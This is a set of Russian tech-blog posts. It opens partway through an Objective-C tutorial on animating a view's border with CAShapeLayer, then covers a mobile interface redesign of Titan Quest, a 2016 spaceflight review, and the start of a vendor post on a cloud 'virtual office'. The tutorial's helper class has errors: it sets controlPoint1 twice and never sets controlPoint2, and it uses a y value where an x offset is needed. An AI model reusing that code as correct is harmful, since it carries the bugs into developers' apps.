clockwise:YES]; } //Левая грань nextPoint = CGPointMake(0, 0); if(isRounded) { nextPoint.y +=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x+radius, nextPoint.y) radius:radius startAngle:M_PI endAngle:-M_PI_2 clockwise:YES]; } Рисование линий мы закончили. Добавляем Path в CAShapeLayer: animateLayer.path = path.CGPath; animateLayer.strokeColor = lineColor; А сам слой на нашу вью: [self.layer addSublayer:animateLayer]; Сейчас мы можем уже посмотреть статический результат наших трудов, для этого в ViewController добавляем: _panel.layer.cornerRadius = 5; [_panel animateLinesWithColor:[UIColor redColor].CGColor andLineWidth:2 animationDuration:5]; И можем запускать: Ну, на самом деле так себе, скажете вы? И будете правы, ведь такого же результата можно добиться просто сделав layer.borderWidth=2. Тут нужно небольшое отступление. Когда вы рисуете в Path (UIPath, CGPath) отрезки, окружности и прочии примитивы — они все имеют начало и конец. StrokeEnd у CAShapeLayer означает до какого места стоит рисовать эту линию. StrokeStart же в свою очередь указывает с какого места нужно начинать рисовать линию. Значение должны лежать в пределах 0.0 — 1.0 Например: Итак, что можно сделать с этой информацией? Все что нам нужно — добавить несколько строк кода. В месте где мы создаем CAShapeLayer добавим еще одну строчку: animateLayer.strokeEnd = 0.0; Далее после добавления слоя создаем анимацию для проперти strokeEnd: CABasicAnimation *pathAnimation = [CABasicAnimation animationWithKeyPath:@"strokeEnd"]; pathAnimation.duration = duration; pathAnimation.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear]; pathAnimation.fromValue = [NSNumber numberWithFloat:0.0f]; pathAnimation.toValue = [NSNumber numberWithFloat:1.0f]; pathAnimation.autoreverses = NO; [animateLayer addAnimation:pathAnimation forKey:@"strokeEndAnimation"]; animateLayer.strokeEnd = 1.0; (Как работают CABasicAnimation вы можете почитать на официальном сайте эпл ) 3. Запускаем! Как видите линия красиво огибает наш UIView. Теперь давайте сделаем чтобы было как на КДПВ. Какая информация нам нужна для этого: точка, от которой линия будет начинать свое движение к границам. Так как нужно чтобы линия виляла — мы сделаем это при помощи разбиения участка от стартовой точки до точки начала периметра на участки на которых отклоним линию с помощью: [path addCurveToPoint:controlPoint1:controlPoint2:]; Сделаем, чтобы можно было несколько раз запускать анимацию. Добавим новый класс который будет содержать контрольные точки для кривых Безье: @interface LinesCurvePoints : NSObject @property(nonatomic,assign)CGPoint controlPoint1; @property(nonatomic,assign)CGPoint controlPoint2; +(instancetype)curvePoints:(CGPoint)point1 point2:(CGPoint)point2; @end @implementation LinesCurvePoints +(instancetype)curvePoints:(CGPoint)point1 point2:(CGPoint)point2 { LinesCurvePoints* point = [LinesCurvePoints new]; point.controlPoint1 = point1; point.controlPoint1 = point2; return point; } @end Добавим новые поля в метод: -(void)animateLinesWithColor:(CGColorRef)lineColor andLineWidth:(CGFloat)lineWidth startPoint:(CGPoint)startFromPoint rollToStroke:(CGFloat)rollToStroke curveControlPoints:(NSArray<LinesCurvePoints*>*)curvePoints animationDuration:(CGFloat)duration В методе, после определения zeroPoint добавляем следующий код: [path moveToPoint:startFromPoint]; long c = curvePoints.count; for (long i =1; i<=c; i++) { float nX = startFromPoint.x + (zeroPoint.x - startFromPoint.x)/(c)*i; float nY = startFromPoint.y +(zeroPoint.y - startFromPoint.y)/(c)*i; LinesCurvePoints* point = curvePoints[i-1]; [path addCurveToPoint:CGPointMake(nX, nY) controlPoint1:CGPointMake(nX+point.controlPoint1.x,nY+point.controlPoint1.y) controlPoint2:CGPointMake(nX+ point.controlPoint2.y,nY+ point.controlPoint2.y)]; } Он Разделит участок от стартовой точки до начала периметра на равные участки и нарисует их с помощью кривых, с котрольными точками которые мы указали в curveControlPoints. И вторая часть которую нам нужно добавить — движение strokeStart: pathAnimation = [CABasicAnimation animationWithKeyPath:@"strokeStart"]; pathAnimation.duration = duration*1.2; pathAnimation.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseIn]; pathAnimation.fromValue = [NSNumber numberWithFloat:0.0f]; pathAnimation.toValue = [NSNumber numberWithFloat:rollToStroke]; pathAnimation.autoreverses = NO; [animateLayer addAnimation:pathAnimation forKey:@"strokeStartAnimation"]; animateLayer.strokeStart = rollToStroke; Добавляем после анимации strokeEnd. Значение для strokeStart к сожалению придется подбирать эмпирически, мне так и не получилось высчитать правильную длинну участка если рисовать его c кривыми Безье. Финальный код метода должен выглядеть так: -(void)animateLinesWithColor:(CGColorRef)lineColor andLineWidth:(CGFloat)lineWidth startPoint:(CGPoint)startFromPoint rollToStroke:(CGFloat)rollToStroke curveControlPoints:(NSArray<LinesCurvePoints*>*)curvePoints animationDuration:(CGFloat)duration { CAShapeLayer* animateLayer = [CAShapeLayer layer]; animateLayer.lineCap = kCALineCapRound; animateLayer.lineJoin = kCALineJoinBevel; animateLayer.fillColor = [[UIColor clearColor] CGColor]; animateLayer.lineWidth = lineWidth; animateLayer.strokeEnd = 0.0; UIBezierPath* path = [UIBezierPath new]; [path setLineWidth:1.0]; [path setLineCapStyle:kCGLineCapRound]; [path setLineJoinStyle:kCGLineJoinRound]; CGRect bounds = self.layer.bounds; CGFloat radius = self.layer.cornerRadius; CGPoint zeroPoint = bounds.origin; BOOL isRounded = radius>0; if(isRounded) { zeroPoint.x = bounds.origin.x+radius; } [path moveToPoint:startFromPoint]; long c = curvePoints.count; for (long i =1; i<=c; i++) { float nX = startFromPoint.x + (zeroPoint.x - startFromPoint.x)/(c)*i; float nY = startFromPoint.y +(zeroPoint.y - startFromPoint.y)/(c)*i; LinesCurvePoints* point = curvePoints[i-1]; [path addCurveToPoint:CGPointMake(nX, nY) controlPoint1:CGPointMake(nX+point.controlPoint1.x,nY+point.controlPoint1.y) controlPoint2:CGPointMake(nX+ point.controlPoint2.y,nY+ point.controlPoint2.y)]; } [path moveToPoint:zeroPoint]; CGPoint nextPoint = CGPointMake(bounds.size.width, 0); if(isRounded) { nextPoint.x-=radius; } [path addLineToPoint:nextPoint]; if(isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x, nextPoint.y+radius) radius:radius startAngle:-M_PI_2 endAngle:0 clockwise:YES]; } nextPoint = CGPointMake(bounds.size.width, bounds.size.height); if(isRounded) { nextPoint.y-=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x-radius, nextPoint.y) radius:radius startAngle:0 endAngle:M_PI_2 clockwise:YES]; } nextPoint = CGPointMake(0, bounds.size.height); if(isRounded) { nextPoint.x +=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x, nextPoint.y-radius) radius:radius startAngle:M_PI_2 endAngle:M_PI clockwise:YES]; } nextPoint = CGPointMake(0, 0); if(isRounded) { nextPoint.y +=radius; } [path addLineToPoint:nextPoint]; if (isRounded) { [path addArcWithCenter:CGPointMake(nextPoint.x+radius, nextPoint.y) radius:radius startAngle:M_PI endAngle:-M_PI_2 clockwise:YES]; } animateLayer.path = path.CGPath; animateLayer.strokeColor = lineColor; [self.layer addSublayer:animateLayer]; CABasicAnimation *pathAnimation = [CABasicAnimation animationWithKeyPath:@"strokeEnd"]; pathAnimation.duration = duration; pathAnimation.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear]; pathAnimation.fromValue = [NSNumber numberWithFloat:0.0f]; pathAnimation.toValue = [NSNumber numberWithFloat:1.0f]; pathAnimation.autoreverses = NO; [animateLayer addAnimation:pathAnimation forKey:@"strokeEndAnimation"]; animateLayer.strokeEnd = 1.0; pathAnimation = [CABasicAnimation animationWithKeyPath:@"strokeStart"]; pathAnimation.duration = duration*1.2; pathAnimation.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionEaseIn]; pathAnimation.fromValue = [NSNumber numberWithFloat:0.0f]; pathAnimation.toValue = [NSNumber numberWithFloat:rollToStroke]; pathAnimation.autoreverses = NO; [animateLayer addAnimation:pathAnimation forKey:@"strokeStartAnimation"]; animateLayer.strokeStart = rollToStroke; } Вызов метода в ViewController: [_panel animateLinesWithColor:[UIColor redColor].CGColor andLineWidth:2 startPoint:CGPointMake(100, -200) rollToStroke:0.25 curveControlPoints:@[ [LinesCurvePoints curvePoints:CGPointMake(-50, -2) point2:CGPointMake(60, 5)], [LinesCurvePoints curvePoints:CGPointMake(-60, 10) point2:CGPointMake(100, 5)] ] animationDuration:2 ]; rollToStroke значение подходит для если _panel размером 240 на 128 пикселей: Еще один из примеров использования этой анимации: Есть много игр основанных на этой анимации, моя любимая: В общем вот таким нехитрым способом можно сделать довольно интересные анимации в приложении. Буду рад если кому-то показалось полезным.
https://habrahabr.ru/post/318716/
habrahabr
Редизайн Titan Quest под смартфоны и планшеты
['портирование приложений', 'HUD', 'оптимизация интерфейса']
Как адаптировать классику жанра hack'n'slash, игру Titan Quest, любимую целым поколением компьютерных игроков, под смартфоны и планшеты? Я недавно пришёл в DotEmu и это стало вопросом, на...
Как адаптировать классику жанра hack'n'slash, игру Titan Quest, любимую целым поколением компьютерных игроков, под смартфоны и планшеты? Я недавно пришёл в DotEmu и это стало вопросом, на который мне нужно было ответить. Но это был не только вопрос, это был вызов, потребовавший почти 20 месяцев размышлений, итераций и разработки для правильной «перезагрузки» потрясающей игры для её армии фанатов! Всё нужно было (пере)создавать, но я и моя команда были невероятно мотивированы побороть сложности и компромиссы, которые неизбежно возникали. Мы ни разу не усомнились, что Titan Quest станет отличной мобильной игрой, и всегда верили, что она заслуживает своего места на мобильных платформах. Я не мог вносить изменения в оригинальную игру, поэтому для реализации мобильной версии многие элементы должны были эволюционировать. Задача, стоявшая передо мной, была внушительной… UX: упрощаем управление, оставляем только необходимое Как получить из этого (Рис. 1) вот это (Рис. 2)? В какую бы hack'n'slash-игру вы ни играете, вы всегда ждёте, что на экране будет множество элементов: заклинания, эликсиры, оружие, питомцы и т.д., короче, всё то интересное, что есть в этом жанре. Факт в том, что в вашем путешествии каждая кнопка имеет важную и чётко заданную роль. Однако, здесь присутствует определённая сложность, потому что каждый игрок может настроить свой «набор кнопок» в зависимости от класса и развития персонажа. На ПК это сделать просто — персонаж перемещается мышью, а клавиши клавиатуры выполняют действия. Но при игре на сенсорном экране у игрока есть только пальцы! Для удобства люди обычно играют большими пальцами на повернутом горизонтально мобильном устройстве. Помня об этом, можно понять, что идеальным местом для группировки основных кнопок действия будет нижняя часть экрана. Верхняя часть содержит игровую информацию: полоски здоровья и маны, портрет персонажа, карту, кнопку паузы и т.д. Кроме того, в такой игре, как Titan Quest, перемещение персонажа касанием экрана неприменимо, потому что пальцы игрока не должны закрывать игровое поле. Вместо этого большие пальцы игрока постоянно «приклеены» к экрану, перемещая персонажа и активируя действия. Здесь идеальным выбором стал виртуальный джойстик. Он хорошо известен игрокам, такое устройство мы встраивали во множество наших игр, потому что оно не занимает много места. И, разумеется, интерфейс должен быть достаточно узким, чтобы не снижать видимость. В Titan Quest чаще всего используются кнопки для заклинаний, оружия, эликсиров и портала телепортации. Поэтому я расположил их так, чтобы они были легкодоступны и чтобы уменьшить расстояние, на которое пальцы перемещаются по экрану. Я разместил кнопку портала и кнопку поднятия/отображения лута слева, рядом с виртуальным джойстиком. Это позволяет игроку пробегать над предметами на земле и легко поднимать их. Кроме того, недоступность этой кнопки в бою не позволяет персонажу поднимать предметы тогда, когда он должен атаковать. Эти кнопки не обязательны в бою, к тому же, пальцы игрока остаются всегда рядом с виртуальным джойстиком. Постоянно видны четыре заклинания, каждое из них можно настроить, удерживая в течение двух секунд нужную кнопку. Открывается раскрывающееся меню с доступными заклинаниями. Коснувшись нужного заклинания, можно настроить кнопку. Под кругом действий находится кнопка переключения заклинаний. В Titan Quest доступно впечатляющее количество заклинаний, поэтому мы не хотели ограничивать игроков всего четырьмя. Вместо этого я создал два набора из четырёх заклинаний (в наборе А находятся заклинания 1-4, а в наборе Б — 5-8). Нажимая кнопку переключения заклинаний, игрок может переключаться между наборами А и Б. Во время разработки у нас возникла связанная с заклинаниями проблема: некоторые заклинания нацелены на одного врага, а другие воздействуют на область. На ПК игрок просто должен нажать на значок заклинания, нацелиться курсором и левой клавишей активировать заклинание. Но для сенсорного экрана такой вариант не подходит. Например, если для активации заклинания нужно коснуться значка, а потом врага или области, то как отменить действие? Поэтому мы придумали для заклинаний другой подход: игрок просто перетаскивает заклинание со значка и «бросает» его на нужного врага или область. К тому же для удобства прицеливания мы добавили пунктирную линию, показывающую игроку, куда он целится. Некоторые бои довольно напряжённые, поэтому мы добавили эффект замедленного действия при прицеливании. «Заклинание оружия» — это ещё одна кнопка под кругом действий. Она позволяет игроку назначить постоянное заклинание для выбранного оружия. Это даёт игроку постоянное заклинание оружия, а не просто базовую атаку, но оно стоит единиц маны. Когда полоска маны пуста, заклинание оружия снова превращается в базовую атаку. В правой части экрана, над кругом действий показаны эликсиры и их количество. Мы добавили включенную по умолчанию настройку автоматического использования эликсиров, когда здоровье игрока снижается до определённого уровня. В нижней части экрана, между кнопкой портала телепортации и кнопкой переключения оружия (как и в версии для ПК, она позволяет переключаться между первым и вторым оружием) находится шкала опыта. Она показывает, насколько игрок близок к следующему уровню. Создание нового интерфейса с сохранением оригинальных элементов и стиля При создании всех этих новых кнопок и элементов, отсутствовавших в версии для ПК, я вдохновлялся художественным стилем Titan Quest. Я использовал цвета охры, песка и камня, а формы интерфейса напоминают древние арабески. Для улучшения понятности и качества были переработаны некоторые значки, например, кнопки переключения оружия и телепортации. Также я создал различные значки для круга действий, чтобы игрок получал наглядную обратную связь от каждого выбранного действия. Поэтому было необходимо не только создать значок для каждого типа оружия (мечи, луки и посохи), но и два вида предполагаемых действий: значок поднятия/взаимодействия и значок диалога с NPC. При работе над последними двумя действиями я вдохновлялся искусством Древней Греции, и в особенности рисунками людей на фресках и чашах, которые часто представляли собой чёрные фигуры с контуром из охры. Адаптация экранов Экраны инвентаря, умений и квестов тоже подверглись адаптации. В версии для ПК эти экраны открываются в отдельных окнах, и игра не останавливается, когда они открыты. Но для адаптации под мобильные устройства мы решили сделать эти окна полноэкранными и приостанавливать игру на фоне. Соответственно, необходимо было перенастроить элементы каждого из экранов, потому что мы хотели отобразить такой же объём информации, что и на экранах ПК. Например, мы выбрали раскрывающееся окно для отображения всей статистики игрока. В версии для ПК она отображается в двух отдельных вкладках. Для управления предметами в инвентаре в версии для ПК использовался простой drag'n'drop и для назначения предмета «активной экипировкой» (набор 1 или 2), и для выбрасывания. Сенсорный экран позволяет использовать тот же подход. Для выбрасывания предметов я создал простое поле «мусора». Ещё одной инновацией этих экранов стала возможность переключаться между ними без возврата к основному экрану. Я добавил на каждый экран три значка из оригинальной игры. Это простое меню, всегда отображаемое в одном месте, позволяет игрокам переключаться между экранами. Я перерисовал эти значки в стиле оригинала, но в более высоком разрешении. И, наконец, для экрана управления «умениями» я адаптировал систему «очков», потому что система на ПК была слишком маленькой и сложной в использовании. Благодаря добавлению в нижнюю часть экрана модуля распределения очков игрок может быстро повышать уровень заклинаний, которые он хочет использовать. Все относящиеся к умениям значки тоже переработаны, чтобы лучше было видно выделенные и невыделенные пункты. Для экрана квестов и карты достаточно было простой перекомпоновки. Модуль распределения очков, добавленный на экран «умений» мобильной версии: Новый значок Теперь мы переходим к одному из самых важных элементов мобильной игры: основной значок. Когда игра Titan Quest была выпущена на ПК, значок был виден только на рабочем столе компьютера. Но на современном рынке смартфонов легко заметный и быстро распознаваемый значок критически важен — в основном затем, чтобы выделиться из миллионов приложений и игр, заполонивших виртуальные магазины iTunes и Google Play. Я подумал, что спартанский шлем будет хорошим выбором для значка, потому что он соответствует значку на ПК. После множества итераций я наконец выбрал значок, очень похожий на древнегреческие изображения. Шлем сильно стилизован, значок сочетает в себе чёрный цвет и фон, похожий на потрескавшуюся светло-охристую стену. Кроме того, значок обрамлён узором из повторяющихся геометрических узоров, характерных для того исторического периода. Итак, чему же я научился при работе над Titan Quest? Многому: я узнал, что хотя адаптация компьютерной hack'n'slash на мобильные устройства — сложная задача, она действительно захватывает. Погружение в уже существовавшую стилистику конечно ограничивало мои дизайнерские возможности, но и помогало расширить границы моей креативности. Оно позволило создать более точные и значительные результаты, по сравнению с работой «с нуля». Также я осознал, что на новой платформе можно добавить множество новых тонкостей и идей, в то же время сохраняя неподражаемый игровой опыт такой известной игры, как Titan Quest. Нужно прикладывать максимальные усилия, чтобы обеспечить привычность геймплея для игроков на ПК. Но одновременно требуется создать и уникальный современный игровой опыт для новых игроков. Работа над этой игрой значительно повысила коллективный опыт каждого сотрудника DotEmu. Фундаментальные этапы дизайна, усовершенствованные нами при портировании этой игры, заложили надёжное основание для будущих ПК-игр, которые мы будем адаптировать для мобильных устройств.
https://habrahabr.ru/post/318622/
habrahabr
Космонавтика-2016 на Geektimes, часть 1
['космос', 'космонавтика', 'события', 'итоги года', 'космонавтика-2016']
2016 год подходит к концу. Давайте по традиции вспомним, какие события произошли в космонавтике, какие взлёты, какие падения, что мы обсуждали и за что волновались на Geektimes. This glittering...
2016 год подходит к концу. Давайте по традиции вспомним, какие события произошли в космонавтике, какие взлёты, какие падения, что мы обсуждали и за что волновались на Geektimes. This glittering star cluster holds many of the brightest starts in the Milky Way https://t.co/hqdoWr1PGR pic.twitter.com/jioATY9DxU — NASA Goddard Images (@NASAGoddardPix) January 21, 2016 2 января на Вьетнам упали три 45-килограммовых металлических шара. СМИ в первую очередь обвинили Россию: по мнению Thanh Nien, шары могли быть частью ракет или космического аппарата. На самих шарах не было никаких опознавательных знаков. В Намибии несколько лет назад был похожий случай. Тогда упал 6-килограммовый шар диаметром 35 сантиметров. Возможно, это космический мусор с орбиты. Или топливные баки? 2016 год начался удачно для космонавтики Великобритании. Второй в истории астронавт этой страны побывал в космосе. 15 января 43-летний Тим Пик вместе с коллегой из США провёл 6,5 часов в открытом космосе, заменяя неисправный блок коммутации постоянного тока на Международной космической станции. Перед открытием шлюзовой камеры Пик сказал: «Это так здорово. Это — момент гордости». Астронавт Тим Пик провёл на орбите 186 суток — с 15 декабря 2015 года по 18 июня 2016 года. И ему всё время не везло со звонками родным. Держите селфи от Тима Пика из открытого космоса. Ещё Тим Пик показал , как на МКС пьют растворимый кофе. SpaceX в конце 2015 года сумела вернуть первую ступень ракеты-носителя Falcon 9 на Землю в состоянии, позволяющем использовать её вторично, как заверил Илон Маск. Но приземляться — не так интересно, как сажать ступень на морскую платформу. В январе это сделать не удалось . Ракету запустили, а посадить смогли — но с повреждениями, поломалась одна из опор, из-за чего ступень упала и взорвалась. Вы и сами можете попробовать посадить Falcon 9 на морскую платформу в этой игре . Видео посадки и падения 17 января: Falcon lands on droneship, but the lockout collet doesn't latch on one the four legs, causing it to tip over post landing. Root cause may have been ice buildup due to condensation from heavy fog at liftoff. A video posted by Elon Musk (@elonmusk) on Jan 17, 2016 at 7:07pm PST Но Илон Маск не остановился на неудаче. Было ещё несколько пусков, включая запуск на орбиту спутника Thaicom 8 с последующей посадкой первой ступени на палубу плавучего космопорта Of Course I Still Love You. Тогда с неожиданного ракурса фотограф-любитель случайно снял возвращение Falcon 9. Photographer unexpectedly captures Falcon 9 second stage burn and first stage entry https://t.co/IKvmVon7gF @zgreth pic.twitter.com/W12NlSG0yL — SpaceX (@SpaceX) May 18, 2016 В сентябре ракета SpaceX Falcon 9 взорвалась на стартовом столе. И мы пытались понять , почему это произошло. Продолжил своё путешествие у Цереры зонд Dawn. 1 июля 2016 года НАСА приняло решение не отправлять зонд дальше, к астероиду Адеона . Основная миссия к тому времени была выполнена, но разбивать о поверхность планетоида Церера зонд тоже не стали. Читайте подробности о миссии и смотрите видео пролёта зонда Dawn над планетоидом Церера, составленное из фотографий высокого разрешения. Ролик цветной — планетоид показали после обработки в графическом редакторе. На ролике можно посмотреть на крупные кратеры и горы. Фотографии для видео были получены на высоте 1450 километров от поверхности с августа по октябрь 2015 года. К марту 2016 года зонд уже год исследовал Цереру . Ещё один космический аппарат, который дал учёным массу материалов для исследования — New Horizons. В январе 2016 года благодаря аппарату на поверхности Плутона нашли водяной лёд . Ниже вы видите карту НАСА, которая показывает размещение льда на поверхности планеты. Через несколько месяцев специалисты, изучая взаимосвязь Плутона и Харона, сделали предположение, что подо льдом может существовать жидкий океан . По этой ссылке — ещё больше детальных фотографий Плутона, а здесь — снимок криовулкана. 20 января на космодроме Восточный распаковали ракету «Союз-2.1а» . Для пуска с космодрома Восточный ракету-носитель доработали. 28 апреля 2016 года «Союз-2.1а» успешно вывел на орбиту три спутника. Отличные фотографии есть по этой ссылке . С 2012 года НАСА платит SpaceX за доставку грузов на Международную космическую станцию. В будущем Dragon начнёт отправлять на орбиту людей, но для этого необходимо провести множество тестов. Компания Илона Маска успешно испытала парашюты для пилотируемой капсулы, а также систему SuperDraco для мягкой посадки капсулы. Компания Blue Origin, которая принадлежит основателю Amazon Джефу Безосу, пыталась не отставать от SpaceX и 22 января запустила повторно суборбитальный носитель New Shepard. Аппарат поднялся на 101,7 километров, что более чем на километр выше предыдущего результата. New Shepard поднял суборбитальный корабль, который Blue Origin разрабатывает для космического туризма. Самое интересное, что в этом случае ракета была действительно многоразовой. Позже специалисты Blue Origin смоделировала аварию с целью выяснить, сработает ли система экстренной эвакуации экипажа и пассажиров, а также тестировали отказ парашюта . А здесь можно почитать и посмотреть на экскурсию в Blue Origin. В апреле многоразовый корабль Blue Origin уже в третий раз успешно взлетел и сел. «Хаббл» уже подарил нам невероятное количество красивых фотографий, а учёным — данных для исследования космоса. Ниже — фото похожего на россыпь бриллиантов кластера Trumpler 14, в котором находятся одни из самых ярких звёзд Млечного пути. Бело-голубые звёзды уже через несколько миллионов лет превратятся в сверхновые. This glittering star cluster holds many of the brightest starts in the Milky Way https://t.co/hqdoWr1PGR pic.twitter.com/jioATY9DxU — NASA Goddard Images (@NASAGoddardPix) January 21, 2016 А вы сможете с первого раза найти все три спутника Сатурна? Или видите только два? Без подсказки задача очень сложная, даже если смотреть на фото в высоком разрешении . Но подсказка есть. Эту фотографию сделал космический аппарат Cassini. Кстати, над кольцами мы видим Энцелад, под поверхностью которого в южном полушарии находится океан. Возможно, даже обитаемый . Представьте себе нечто, что ярче Солнца в сто раз. А в тысячу? А в миллиард? Учёные в начале года обнаружили звезду ASASSN-15lh , которая ярче нашего Солнца в 570 миллиардов раз. Она в 50 раз превышает яркость всех звёзд Млечного пути. Материнская галактика ASASSN-15lh до взрыва (слева) и сверхновая (справа) Когда-то в кометах люди видели недобрые знаки , предвещающие смерть правителя, неурожай, болезни и войны. Но Сенека писал в самом начале Нашей эры: «Я не могу согласиться, что комета – это только зажженный огонь; это, скорее, одно из вечных творений природы… Комета имеет собственное место между небесными телами…, она описывает свой путь и не гаснет, а только удаляется. Не будем удивляться, что законы движения комет еще не разгаданы; придет время, когда упорный труд откроет нам скрытую сейчас правду…». И понимание действительно пришло. Сначала карты движения комет, а затем — и первая посадка космического аппарата на комету. После десятилетнего путешествия на Rosetta спускаемый аппарат «Филы» сел на комету Чурюмова-Герасименко . Но последний раз «Филы» вышел на связь в июле 2015 года, и нам пришлось прощаться с ним. А в сентябре 2016 года — и с «Розетта» . Одно из фото кометы Чурюмова-Герасименко, полученное с «Розетты» Китайский луноход «Юйту» работает на естественном спутнике Земли с декабря 2013 года. На данный момент он единственный, кто работает на Луне, с момента завершения деятельности Лунохода-2 в 1973 году. Смотрите фотографии , которые прислал с луны Юйту и спускаемый аппарат. Хотя Марс находится намного дальше, с фотографиями с него всё гораздо лучше – там работают два планетохода – Opportunity и Curiosity . Смотрите панораму с 360-градусным углом обзора по этой ссылке . В апреле мы все волновались за Opportunity, застрявший на крутом холме, но марсоход сумел выбраться из плена . В феврале в Индии метеорит упал на кампус частного инженерного кампуса и убил водителя автобуса. Пострадали ещё три человека, были повреждены окна зданий. Кратер, образовавшийся в месте падения небесного тела (фото: ndtv ) 9 марта 2016 года произошло солнечное затмение . Авиакомпания Alaska Airlines специально скорректировала план полёта, чтобы порадовать любителей астрономии на борту: 14 марта в 12 часов 31 минуту с космодрома Байконур успешно стартовала ракета «Протон-М» с космическими аппаратами программы «ЭкзоМарс-2016». Позже аппараты вышли на связь с Землёй. В ноябре марсианский зонд Schiaparelli разбился из-за неправильного определения высоты при спуске. На Международную космическую станцию 19 марта прибыл экипаж в составе российских космонавтов Алексея Овчинина и Олега Скрипочки, а также американского астронавта Джеффри Уилльямса. Для Овчинина это первый полёт, для Скрипочки – второй, а для Уилльямса – четвёртый. 8 апреля Falcon 9 Full Thrust отправила к Международной космической станции грузовик Dragon. Первая ступень успешно села на морскую платформу. Космический телескоп «Кеплер», запущенный для поиска экзопланет, в апреле перешёл в аварийный режим. Причина до сих пор неизвестна, но его сумели вернуть к жизни . Японский зонд «Акацуки» в апреле 2016 года начал передавать данные о Венере. У зонда была сложная судьба: он должен был выйти на орбиту планеты в 2010 году, но манёвр выхода оказался неудачным. На эллиптическую орбиту зонд вышел только 7 декабря 2015 года. 16 апреля на МКС закрепили надувной модуль BEAM , разработанный компанией Bigelow Aerospace. Это экспериментальный жилой модуль, который будут тестировать в течение двух лет. Космонавты будут посещать модуль несколько раз в год и замерять показатели, чтобы выяснить, насколько BEAM защищает от излучения и микрометеоритов. В этом году продолжали исследование невозможного двигателя EmDrive . Ещё в 2015 году работоспособность «ведра» подтвердили немецкие физики. В этом году китайские СМИ написали о том, что началось тестирование прототипа уже в космосе. Точной информаци, находится ли прототип в космосе на «Тяньгуне-2», на данный момент нет. Двигатель изначально не воспринимали всерьёз, но в 2014 году за него взялось НАСА. 28 апреля состоялся первый пуск с космодрома «Восточный». Со второй попытки ракета-носитель «Союз-2.1а» стартовала, после чего доставила на орбиту космические аппараты «Ломоносов», «Аист-2Д» и SamSat-218 («СамСат-218»). Одно из важных преимуществ космодрома, который строили с 2012 года, является его расположение вдали от густонаселённых районов России. Сейчас в состав космодрома уже входит технический комплекс из 121 сооружения, где 1800 человек готовят ракеты перед стартом. Следующий пуск придётся ждать в 2017 году.
https://geektimes.ru/post/284014/
habrahabr
Виртуальный офис для реальной работы
['виртуальный офис', 'офисные технологии', 'телефония', 'softline']
Формирование и поддержание работоспособности ИТ-инфраструктуры — одна из самых главных задач бизнеса. Она же одна из самых затратных и трудоёмких, особенно в компаниях с распределённой или...
Формирование и поддержание работоспособности ИТ-инфраструктуры — одна из самых главных задач бизнеса. Она же одна из самых затратных и трудоёмких, особенно в компаниях с распределённой или филиальной структурой. Существование облачных услуг сильно облегчило жизнь ИТ-служб, поскольку можно собрать несколько сервисов, не тратиться на сервер и аппаратные АТС, использовать опенсорсные решения. Но даже при таком подходе рано или поздно можно зайти в тупик: системы разрознены, не обновляются, не интегрируются друг с другом, исчезают с рынка и т.д. И в таких случаях инфраструктура переживает не лучшие времена, а производительность сотрудников падает, поскольку приходится возвращаться к методам работы, принятым до автоматизации. Чтобы этого избежать, виртуальный офис должен работать как часовой механизм: все сервисы-шестерёнки слажены и безотказны. Мы, как системный интегратор, смогли найти такое решение.   Когда не хочется, чтобы так У термина «виртуальный офис» есть несколько толкований. Одно из них — это общая для всех сотрудников определенной компании облачная среда (сервис), обеспечивающая персональную и совместную работу всех членов команды. Виртуальный офис хорош тем, что позволяет сразу сосредоточиться на работе и развитии бизнеса, оставив за бортом проблемы, возникающие в ходе разворачивания собственной телекоммуникационной инфраструктуры.   Плюсом такой работы является возможность масштабирования своего бизнеса без необходимости значительных инвестиций в телекоммуникации. Краеугольный камень ИТ-инфраструктуры бизнеса любого типа — это связь: нужно общаться между собой, с клиентами и контрагентами, выходить в сеть, проводить вебинары, телемосты и проч. Если компания имеет распределённую команду, работающую удалённо, вопрос становится первоочередным. «Офис в облаке» позволяет географически разобщенным сотрудникам компании без всяких проблем взаимодействовать друг с другом, используя единую систему для обмена, хранения, обработки и передачи информации и координации совместных действий. Все финансовые и трудовые затраты на обслуживание телекоммуникационного оборудования, обновление железа, плановые работы — забота оператора виртуального офиса. Рассмотрим подробнее, какие преимущества дает подобная система.   Кстати, сразу оговоримся: иногда «виртуальным офисом» называют облачную АТС, обеспечивающую надежную связь сотрудников компании с клиентами и руководством. Но на самом деле этот термин гораздо шире, облачная АТС — лишь один из элементов виртуального офиса.   Обычно услугой «офиса в облаке» пользуются быстрорастущие компании, которым критически важно объединять удаленные офисы или дочерние компании в единую инфраструктуру. Также работают с сервисом такого типа и компании, у которых есть разветвленная сеть торговых агентов или внештатных сотрудников. Виртуальный офис помогает значительно увеличить эффективность коммуникаций с центральным офисом или даже организовать удаленное обучение.   Сервис подойдет и тем компаниям, кому нужно постоянно общаться с партнерами или клиентами, а также проводить регулярные совещания и онлайн-презентации. Наиболее актуальным такое решение является для компаний с распределенной филиальной сетью.  Облачный офис подходит для бизнеса любого размера — малого, среднего или крупного. Виртуальный офис Softline Один из наиболее надежных сервисов такого типа — это виртуальный офис компании Softline . Он представляет собой облачную платформу с ежемесячной оплатой. Сервис разработан в рамках программы Microsoft Cloud OS Network Russia при участии инженеров Microsoft.    Виртуальный офис Softline предлагает набор бизнес-возможностей, которые востребованы большинством компаний любой сферы деятельности. Корпоративная почта на базе Microsoft Exchange Server. Это зарекомендовавшее себя решение, которое имеет удобный интерфейс и привычно в обслуживании системным администраторам. Использование этой почты гарантирует сохранность переписки, цепочек писем и всех вложений. Объединенные коммуникации (IM, видео и аудио звонки) — Skype for business. Благодаря этой услуге сотрудники компании всегда будут на связи, где бы они ни находились. Возможность выхода в телефонную сеть по SIP. Подключение производится либо к АТС заказчика, либо к SIP-провайдеру. Это значит, что компания сможет использовать все преимущества SIP-телефонии, такие как конференц-связь, распределение и перенаправление вызовов, IVR, подмена номера и проч. Антивирус/Антиспам. Зловредное программное обеспечение надежно блокируется — сервис не допускает появления вирусов. Аналогичным образом отсекается и почтовый спам. Аренда полного пакета 